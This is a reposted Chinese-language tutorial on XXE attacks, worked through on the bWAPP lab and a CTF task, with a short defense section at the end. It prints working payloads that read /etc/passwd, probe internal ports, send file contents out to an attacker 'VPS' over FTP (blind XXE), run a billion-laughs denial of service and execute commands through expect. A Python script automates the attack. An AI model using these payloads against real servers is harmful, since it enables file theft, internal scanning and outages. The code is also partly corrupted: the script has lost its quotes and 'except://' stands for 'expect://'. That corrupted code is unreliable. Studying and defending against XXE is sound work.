[Web安全] XXE漏洞攻防学习(中)

匿名 (未验证) 提交于 2019-12-03 00:39:02

0x00、XXE漏洞攻击实例

攻击思路:

1. 引用外部实体远程文件读取

2. Blind XXE

3. Dos

0x01、外部实体引用,有回显

实验操作平台:bWAPP平台上的XXE题目

题目:

进行抓包,点击Any bugs?按钮,抓包如下:

可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据。

既然是XML数据,我们就可以自己增加一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行xxe攻击

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>  <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

读取网站目录任意文件 payload:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt"> ]>  <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

为了加深理解,查看xxe-2.php的源码

主要的代码:

可以看到这里直接用了“simplexml_load_string()”函数。

内网端口检测 payload:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]>  <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

若80端口开放,回显如下的报错信息

若端口不开放,则显示如下信息:

#coding=utf-8 import requests  if __name__ == __main__:          payload = raw_input(输入你想利用xxe得到的资源,如file:///etc/passwd\npayload:.decode(utf-8).encode(gbk))          url = http://192.168.31.195/bWAPP/xxe-2.php     headers = {Content-type:text/xml}          cookies = {PHPSESSID:4e2c24a64c85a86bc69b09736828af9b,security_level:0}          xml = <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "+ payload +">]><reset><login>&test;</login><secret>login</secret></reset>          r = requests.post(url,headers=headers,cookies=cookies,data=xml)     print xxe攻击返回结果:.decode(utf-8).encode(gbk)     print r.content

运行结果:

// Disables XML external entities. Doesn‘t work with older PHP versions!     // libxml_disable_entity_loader(true);     $xml = simplexml_load_string($body);          // Debugging     // print_r($xml);      $login = $_SESSION["login"];     $secret = $xml->secret;      if($secret)     {          $secret = mysqli_real_escape_string($link, $secret);          $sql = "UPDATE users SET secret = ‘" . $secret . "‘ WHERE login = ‘" . $login . "‘";          // Debugging         // echo $sql;                $recordset = $link->query($sql);          if(!$recordset)         {              die("Connect Error: " . $link->error);          }          $message = $login . "‘s secret has been reset!";      }      else     {          $message = "An error occured!";       }

分析可以看出,$login现在是直接在SEESION里面取,不再利用xml进行提交。并且使用了mysqli_real_escape_string()函数对$secret进行了特殊字符转义

jarvisoj上的一道题目API调用

这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。

http://web.jarvisoj.com:9882/

是一个json数据提交,修改数据发现可以被解析

这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可

如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。

所以,在没有回显的情况下如何来利用XXE

思路:

1. 客户端发送payload 1给web服务器

2. web服务器向vps获取恶意DTD,并执行文件读取payload2

3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP

4. 通过VPS获得回显(nc监听端口)

本地客户端(payload 1 )

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

由于web端会解码,所以需要我们先html实体编码一次

payload 2 也就是test.xml的内容(VPS)

<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM ‘ftp://VPS:21/%payload;‘>"> %int; %trick;

这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容

0x03、DOS

<?xml version="1.0"?>    <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>

这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

0x04、命令执行

php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用,这里就只给出代码了

<?php  $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [   <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>

0x05、防御XXE

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);

Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提供的XML数据

过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。

原文:https://www.cnblogs.com/ESHLkangi/p/9246327.html

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!